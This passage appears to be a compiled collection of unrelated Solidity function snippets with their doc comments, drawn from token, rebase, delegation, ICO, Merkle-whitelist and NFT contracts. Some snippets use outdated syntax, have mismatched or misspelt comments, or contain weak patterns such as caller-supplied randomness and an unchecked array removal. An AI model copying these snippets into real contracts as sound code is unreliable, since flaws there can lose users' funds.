            uint c = uint(b[i]);
            if(c == 46)
            {
                // Do nothing --this will skip the decimal
            }
          else if (c >= 48 && c <= 57) {
                result1 = result1 * 10 + (c - 48);
              // usd_price=result;

            }
        }
        if (result1 < 10000)
        {
            result1=result1*100;
            return result1;
        }
        else if(result1 < 100000)
        {
            result1=result1*10;
            return result1;
        }
        else
        {
            return result1;
        }
    }


/**
 * @dev Notifies Fragments contract about a new rebase cycle.
 * @return The total number of fragments after the supply adjustment.
 */

function rebase()
        external
        returns (uint256)
    {

        uint256 baseTotalSupply = BASETOKEN.totalSupply();
        uint256 multiplier;
        uint256 maxDebase =9000;
        require(baseTotalSupply != lastTrackedBaseSupply, 'NOT YET PLEASE WAIT');
        if (baseTotalSupply > lastTrackedBaseSupply) {

              multiplier = (baseTotalSupply.sub(lastTrackedBaseSupply)).mul(10000).div(lastTrackedBaseSupply);

               if(multiplier >= 10000){
               multiplier= maxDebase;
           }

        } else if (lastTrackedBaseSupply > baseTotalSupply) {

            multiplier = (lastTrackedBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedBaseSupply).mul(2);
        }

        uint256 modification;
        modification = _totalSupply.mul(multiplier).div(10000);
        if (baseTotalSupply > lastTrackedBaseSupply) {
            _totalSupply = _totalSupply.sub(modification);

        } else {
            _totalSupply = _totalSupply.add(modification);
        }

        if (_totalSupply > MAX_SUPPLY) {
            _totalSupply = MAX_SUPPLY;
        }

        _gonsPerFragment = TOTAL_GONS.div(_totalSupply);

        lastTrackedBaseSupply = baseTotalSupply;

        emit LogRebase(block.timestamp, _totalSupply);
        return _totalSupply;
    }


/**
 * @notice set the delegatee.
 * @dev delegatee address should not be zero address.
 * @param delegator the addrress of token holder.
 * @param delegatee number of tokens to burn.
 */

function _delegate(address delegator, address delegatee) internal {
    require(delegatee != address(0), "UFARM::_delegate: invalid delegatee address");
    address currentDelegate = delegates[delegator];
    uint256 delegatorBalance = balances[delegator];
    delegates[delegator] = delegatee;

    emit DelegateChanged(delegator, currentDelegate, delegatee);

    _moveDelegates(currentDelegate, delegatee, delegatorBalance);
  }


/**
 * @notice transfer tokens to src --> dst.
 * @dev src address should be valid ethereum address.
 * @dev dst address should be valid ethereum address.
 * @dev amount should be greater than zero.
 * @param src the source address.
 * @param dst the destination address.
 * @param amount number of token to transfer.
 */

function _transferTokens(
    address src,
    address dst,
    uint256 amount
  ) internal {
    require(src != address(0), "UFARM::_transferTokens: cannot transfer from the zero address");
    require(dst != address(0), "UFARM::_transferTokens: cannot transfer to the zero address");
    require(amount > 0, "UFARM::_transferTokens: invalid amount wut??");

    balances[src] = balances[src].sub(amount, "UFARM::_transferTokens: exceeds balance");
    balances[dst] = balances[dst].add(amount);
    emit Transfer(src, dst, amount);

    _moveDelegates(delegates[src], delegates[dst], amount);
  }


/**
 * @notice transfer the vote token.
 * @dev srcRep address should be valid ethereum address.
 * @dev dstRep address should be valid ethereum address.
 * @dev amount should be greater than zero.
 * @param srcRep the source vote address.
 * @param dstRep the destination vote address.
 * @param amount number of vote token to transfer.
 */

function _moveDelegates(
    address srcRep,
    address dstRep,
    uint256 amount
  ) internal {
    if (srcRep != dstRep && amount > 0) {
      if (srcRep != address(0)) {
        uint32 srcRepNum = numCheckpoints[srcRep];
        uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
        uint256 srcRepNew = srcRepOld.sub(amount);
        _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
      }

      if (dstRep != address(0)) {
        uint32 dstRepNum = numCheckpoints[dstRep];
        uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
        uint256 dstRepNew = dstRepOld.add(amount);
        _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
      }
    }
  }


/**
 * @notice write checkpoint for delegatee.
 * @dev blocknumber should be uint32.
 * @param delegatee the address of delegatee.
 * @param nCheckpoints no of checkpoints.
 * @param oldVotes number of old votes.
 * @param newVotes number of new votes.
 */

function _writeCheckpoint(
    address delegatee,
    uint32 nCheckpoints,
    uint256 oldVotes,
    uint256 newVotes
  ) internal {
    uint32 blockNumber = safe32(block.number, "UFARM::_writeCheckpoint: block number exceeds 32 bits");

    if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
      checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
    } else {
      checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
      numCheckpoints[delegatee] = nCheckpoints + 1;
    }

    emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
  }


/**
 * @notice Approves an address to do a withdraw from this contract for specified amount
 */

function whitelistWithdrawals(
        address[] memory whos,
        uint256[] memory amounts,
        address[] memory tokens
    )
        public
        onlyGov
    {
        require(whos.length == amounts.length, "Reserves::whitelist: !len parity 1");
        require(amounts.length == tokens.length, "Reserves::whitelist: !len parity 2");
        for (uint256 i = 0; i < whos.length; i++) {
            IERC20 token = IERC20(tokens[i]);
            token.approve(whos[i], amounts[i]);
        }
    }


/**
 * ERC20 Transfer
 * Contract address is blocked from using the transfer function
 * Contact us to approve contracts for transfer
 * Contracts will not be a registered user by default
 * All contracts will be approved unless the contract is malicious
 */

function transfer(address _toAddress, uint256 _amountOfTokens)
        onlyBagholders()
        public
        returns(bool)
    {
        // setup
        address _customerAddress = msg.sender;

        require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
        require(user[_customerAddress] && user[_toAddress]);

        // withdraw all outstanding dividends first
        if(myDividends(true) > 0) withdraw();

        // exchange tokens
        tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
        tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);

        // update dividend trackers
        payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
        payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);

        bytes memory _empty;
        uint256 codeLength;
        assembly {
            codeLength := extcodesize(_toAddress)
        }
        if(codeLength > 0){
            ERC223ReceivingContract receiver = ERC223ReceivingContract(_toAddress);
            receiver.tokenFallback(_customerAddress, _amountOfTokens, _empty);
        }

        // fire event
        emit Transfer(_customerAddress, _toAddress, _amountOfTokens, _empty);

        // ERC20
        return true;
    }


/**
 * @dev Transfers In Tokens preapproved by sender to Exchange contract,
 * transfers Out Tokens 1 to 1 to sender if there is balance of Out Tokens available
 * @param _amount of In Tokens
 */

function receiveInToken (uint256 _amount)
        external
        nonReentrant
    {
    	require(_amount != 0, "amount is 0");
        require(outToken.balanceOf(address(this)) >= _amount, "not enough Out Tokens available");
    	address _user = msg.sender;
    	inToken.safeTransferFrom(_user, address(this), _amount);
        outToken.safeTransfer(_user, _amount);
        emit Exchanged(_user, _amount);
    }


/**
 * @dev Get the OptInStatus for two accounts at once.
 */

function getOptInStatusPair(address accountA, address accountB)
        external
        override
        view
        returns (OptInStatus memory, OptInStatus memory)
    {
        (bool isOptedInA, address optedInToA, ) = _getOptInStatus(accountA);
        (bool isOptedInB, address optedInToB, ) = _getOptInStatus(accountB);

        bool permaBoostActive = _permaBoostActive;

        return (
            OptInStatus({
                isOptedIn: isOptedInA,
                optedInTo: optedInToA,
                permaBoostActive: permaBoostActive,
                optOutPeriod: _OPT_OUT_PERIOD
            }),
            OptInStatus({
                isOptedIn: isOptedInB,
                optedInTo: optedInToB,
                permaBoostActive: permaBoostActive,
                optOutPeriod: _OPT_OUT_PERIOD
            })
        );
    }


/**
 * @dev Opts in the caller.
 * @param to the address to opt-in to
 */

function optIn(address to) external {
        require(to != address(0), "OptIn: address cannot be zero");
        require(to != msg.sender, "OptIn: cannot opt-in to self");
        require(
            !address(msg.sender).isContract(),
            "OptIn: sender is a contract"
        );
        require(
            msg.sender != _defaultOptInAddress,
            "OptIn: default address cannot opt-in"
        );
        (bool optedIn, , ) = _getOptInStatus(msg.sender);
        require(!optedIn, "OptIn: sender already opted-in");

        _optedIn[msg.sender] = to;

        // Always > 0 since by default anyone is opted-in
        _optOutPending[msg.sender] = 0;

        emit OptedIn(msg.sender, to);
    }


/**
 * @dev Returns the remaining opt-out period of `account` relative to the given
 * `optedInTo` address.
 */

function _getOptOutPeriodRemaining(address account, bool dirty)
        private
        view
        returns (uint256)
    {
        if (!dirty) {
            // never interacted with opt-in contract
            return 0;
        }

        uint256 optOutPending = _optOutPending[account];
        if (optOutPending == 0) {
            // Opted-out and/or opted-in again to someone else
            return 0;
        }

        uint256 optOutPeriodEnd = optOutPending + _OPT_OUT_PERIOD;
        if (block.timestamp >= optOutPeriodEnd) {
            // Period is over
            return 0;
        }

        // End is still in the future, so the difference to block.timestamp is the remaining
        // duration in seconds.
        return optOutPeriodEnd - block.timestamp;
    }


/**
 * @dev Opts out the caller. The opt-out does not immediately take effect.
 * Instead, the caller is marked pending and only after a 30-day period ended since
 * the call to this function he is no longer considered opted-in.
 *
 * Requirements:
 *
 * - the caller is opted-in
 */

function optOut() external {
        (bool isOptedIn, address optedInTo, ) = _getOptInStatus(msg.sender);

        require(isOptedIn, "OptIn: sender not opted-in");
        require(
            _optOutPending[msg.sender] == 0,
            "OptIn: sender not opted-in or opt-out pending"
        );

        _optOutPending[msg.sender] = block.timestamp;

        // NOTE: we do not delete the `optedInTo` address yet, because we still need it
        // for e.g. checking `isOptedInBy` while the opt-out period is not over yet.

        emit OptedOut(msg.sender, optedInTo);

        _dirty[msg.sender] = true;
    }


/**
 * @dev An opted-in address can opt-out an `account` instantly, so that the opt-out period
 * is skipped.
 */

function instantOptOut(address account) external {
        (bool isOptedIn, address optedInTo, bool dirty) = _getOptInStatus(
            account
        );

        require(
            isOptedIn,
            "OptIn: cannot instant opt-out not opted-in account"
        );
        require(
            optedInTo == msg.sender,
            "OptIn: account must be opted-in to msg.sender"
        );

        emit OptedOut(account, msg.sender);

        // To make the opt-out happen instantly, subtract the waiting period of `msg.sender` from `block.timestamp` -
        // effectively making `account` having waited for the opt-out period time.
        _optOutPending[account] = block.timestamp - _OPT_OUT_PERIOD - 1;

        if (!dirty) {
            _dirty[account] = true;
        }
    }


/**
 * @dev Check if the given `_sender` has been opted-in by `_account` and that `_account`
 * is still opted-in.
 *
 * Returns a tuple (bool,uint256) where the latter is the optOutPeriod of the address
 * `account` is opted-in to.
 */

function isOptedInBy(address _sender, address _account)
        external
        override
        view
        returns (bool, uint256)
    {
        require(_sender != address(0), "OptIn: sender cannot be zero address");
        require(
            _account != address(0),
            "OptIn: account cannot be zero address"
        );

        (bool isOptedIn, address optedInTo, ) = _getOptInStatus(_account);
        if (!isOptedIn || _sender != optedInTo) {
            return (false, 0);
        }

        return (true, _OPT_OUT_PERIOD);
    }


// For future transfers of DGT

function transfer(address _to, uint256 _value) {
    require (balanceOf[msg.sender] >= _value);          // Check if the sender has enough
    require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows

    balanceOf[msg.sender] -= _value;                    // Subtract from the sender
    balanceOf[_to] += _value;                           // Add the same to the recipient

    Transfer(msg.sender, _to, _value);
  }


// Decide the state of the project

function finalise() external {
    require (!icoFailed);
    require (!icoFulfilled);
    require (now > endOfIco || allocatedSupply >= tokenSupply);

    // Min cap is 8000 ETH
    if (this.balance < 8000 ether) {
      icoFailed = true;
    } else {
      setPreSaleAmounts();
      allocateBountyTokens();
      icoFulfilled = true;
    }
  }


//Set SaleCap

function setSaleCap(uint256 _saleCap) public onlyOwner {
        require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) > 0);
        uint256 amount=0;
        //目前銷售額 大於 新銷售額
        if (balances[tokenWallet] > _saleCap) {
            amount = balances[tokenWallet].sub(_saleCap);
            balances[0xb1] = balances[0xb1].add(amount);
        } else {
            amount = _saleCap.sub(balances[tokenWallet]);
            balances[0xb1] = balances[0xb1].sub(amount);
        }
        balances[tokenWallet] = _saleCap;
        saleCap = _saleCap;
    }


//Calcute Bouns

function getBonusByTime(uint256 atTime) public constant returns (uint256) {
        if (atTime < startDate1) {
            return 0;
        } else if (endDate1 > atTime && atTime > startDate1) {
            return 5000;
        } else if (endDate2 > atTime && atTime > startDate2) {
            return 2500;
        } else {
            return 0;
        }
    }


/**
 * @dev Checks whether current account is in the whitelist
 */

function inMerkleTree(address addr, bytes32 merkleRoot, bytes32[] memory proof) public pure returns (bool) {
        // create hash of leaf data, using target address
        bytes32 leafHash = keccak256(abi.encodePacked(addr));
        return MerkleProof.verify(proof, merkleRoot, leafHash);
    }


/**
 * @dev View function to check remaining whitelist mints
 */

function whitelistMintsRemaining(address user, address contractAddress, bytes32[] calldata proof) public view returns (uint256) {
        bytes32 root = whitelistMerkleRoots[contractAddress];

        if(inMerkleTree(user, root, proof)) {
            uint256 mintLimit = whitelistLimits[root];
            uint256 alreadyMinted = whitelistMintsPerMerkleRoot[root][user];
            return mintLimit - alreadyMinted;
        }
        // otherwise not in whitelist so return 0
        return 0;
    }


/**
 * @dev Try to mint via whitelist
 * Checks proof against merkle tree.
 * @param to -- the address to mint the asset to. This allows for minting on someone's behalf if neccesary
 * @param contractAddress -- the target token contract to mint from
 * @param amount -- the num to mint
 * @param proof -- the merkle proof for this address
 */

function whitelistPurchase(address to, address contractAddress, uint256 amount, bytes32[] calldata proof) external payable {
        // validate authorization via merkle proof
        bytes32 merkleRoot = whitelistMerkleRoots[contractAddress];
        require(inMerkleTree(to, merkleRoot, proof), "PresaleMerkle: Invalid address or proof!");

        // validate still remaining mints
        uint256 mintLimit = whitelistLimits[merkleRoot];
        uint256 alreadyMinted = whitelistMintsPerMerkleRoot[merkleRoot][to];
        require(alreadyMinted + amount <= mintLimit, "PresaleMerkle: Too many mints.");

        // update mints
        whitelistMintsPerMerkleRoot[merkleRoot][to] = alreadyMinted + amount;

        // mint from contract, passing along eth
        IERC721Extended tokenContract = IERC721Extended(contractAddress);
        tokenContract.purchaseMultipleFor{value: msg.value}(amount, to);
    }


/**
 * @dev Try to mint via giveaway -- essnetially the same as whitelist, just different data stores
 * Checks proof against merkle tree.
 * @param to -- the address to mint the asset to. This allows for minting on someone's behalf if neccesary
 * @param contractAddress -- the target token contract to mint from
 * @param amount -- the num to mint
 * @param proof -- the merkle proof for this address
 */

function giveaway(address to, address contractAddress, uint256 amount, bytes32[] calldata proof) external {
        // validate authorization via merkle proof
        bytes32 merkleRoot = giveawayMerkleRoots[contractAddress];
        require(inMerkleTree(to, merkleRoot, proof), "PresaleMerkle: Invalid address or proof!");

        // validate mints
        uint256 mintLimit = giveawayLimits[merkleRoot];
        uint256 alreadyMinted = giveawayMintsPerMerkleRoot[merkleRoot][to];
        require(alreadyMinted + amount <= mintLimit, "PresaleMerkle: Too many mints.");

        // update mints
        giveawayMintsPerMerkleRoot[merkleRoot][to] = alreadyMinted + amount;

        // ask contract for giveaway
        IERC721Extended tokenContract = IERC721Extended(contractAddress);
        tokenContract.giveawayMint(amount, to);
    }


/// create Tokens for Token Owners in alpha Game

function createPromoCollectible(uint256 tokenId, address _owner, uint256 _price) public onlyCOO {
    require(tokenIndexToOwner[tokenId]==address(0));

    address collectibleOwner = _owner;
    if (collectibleOwner == address(0)) {
      collectibleOwner = cooAddress;
    }

    if (_price <= 0) {
      _price = getInitialPriceOfToken(tokenId);
    }

    _createCollectible(tokenId, _price);
    // This will assign ownership, and also emit the Transfer event as
    // per ERC721 draft
    _transferToken(address(0), collectibleOwner, tokenId);

  }


/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.

function tokenBalanceOf(address _owner) public view returns (uint256 result) {
      uint256 totalTokens = tokens.length;
      uint256 tokenIndex;
      uint256 tokenId;
      result = 0;
      for (tokenIndex = 0; tokenIndex < totalTokens; tokenIndex++) {
        tokenId = tokens[tokenIndex];
        if (tokenIndexToOwner[tokenId] == _owner) {
          result = result.add(1);
        }
      }
      return result;
  }


/// @notice Returns all the relevant information about a specific collectible.
/// @param _tokenId The tokenId of the collectible of interest.

function getCollectible(uint256 _tokenId) public view returns (uint256 tokenId,
    uint256 sellingPrice,
    address owner,
    uint256 nextSellingPrice
  ) {
    tokenId = _tokenId;
    sellingPrice = tokenIndexToPrice[_tokenId];
    owner = tokenIndexToOwner[_tokenId];

    if (sellingPrice == 0)
      sellingPrice = getInitialPriceOfToken(_tokenId);

    nextSellingPrice = getNextPrice(sellingPrice);
  }


/// Create all the characters.  This is run once before the start of the sale.

function makeCharacters(
        string[] memory names,
        int8[] memory rarities,
        uint256[] memory scarcities
    ) external onlyEditor {
        for (uint256 index = 0; index < names.length; index++) {
            Character storage char = allCharactersEver[index + 1];
            char.name = names[index];
            char.rarity = Rarities(rarities[index]);
            char.scarcity = scarcities[index];
            char.supply = 0;
            char.artist = ARTIST;
            char.collection = COLLECTION;
            char.series = SERIES;
        }
    }


/// Picks a random character ID from the list of characters with availability for minting,
/// increments character supply,
/// and decrements available character count

function takeRandomCharacter(uint256 randomNumber, uint256 totalRemaining)
        external
        onlyContract
        returns (uint256)
    {
        uint256 arrayCount = availableCharacters.length;
        /// Checking to make sure characters are available to mint
        require(arrayCount > 0, ConstantsAF.NO_CHARACTERS);

        uint256 shorterRandomNumber = randomNumber % totalRemaining;
        uint256 characterID = 0;
        for (uint256 index = 0; index < arrayCount; index++) {
            uint256 currentCharacterID = availableCharacters[index];
            uint256 numberOfMintsLeft = allCharactersEver[currentCharacterID]
                .scarcity - allCharactersEver[currentCharacterID].supply;
            if (shorterRandomNumber < numberOfMintsLeft) {
                characterID = currentCharacterID;
                break;
            } else {
                shorterRandomNumber -= numberOfMintsLeft;
            }
        }
        /// Checking to make sure the random character we picked exists
        require(
            bytes(allCharactersEver[characterID].name).length != 0,
            ConstantsAF.INVALID_CHARACTER
        );

        incrementCharacterSupply(characterID);
        delete arrayCount;
        delete shorterRandomNumber;
        return characterID;
    }


/// Removes the character from the available characters array when there are no more available

function removeCharacterFromAvailableCharacters(uint256 characterID)
        private
    {
        uint256 arrayCount = availableCharacters.length;
        uint256 index = 0;
        /// find index of character to be removed
        for (index; index < arrayCount; index++) {
            if (availableCharacters[index] == characterID) {
                break;
            }
        }
        availableCharacters[index] = availableCharacters[
            availableCharacters.length - 1
        ];
        availableCharacters.pop();
        delete arrayCount;
        delete index;
    }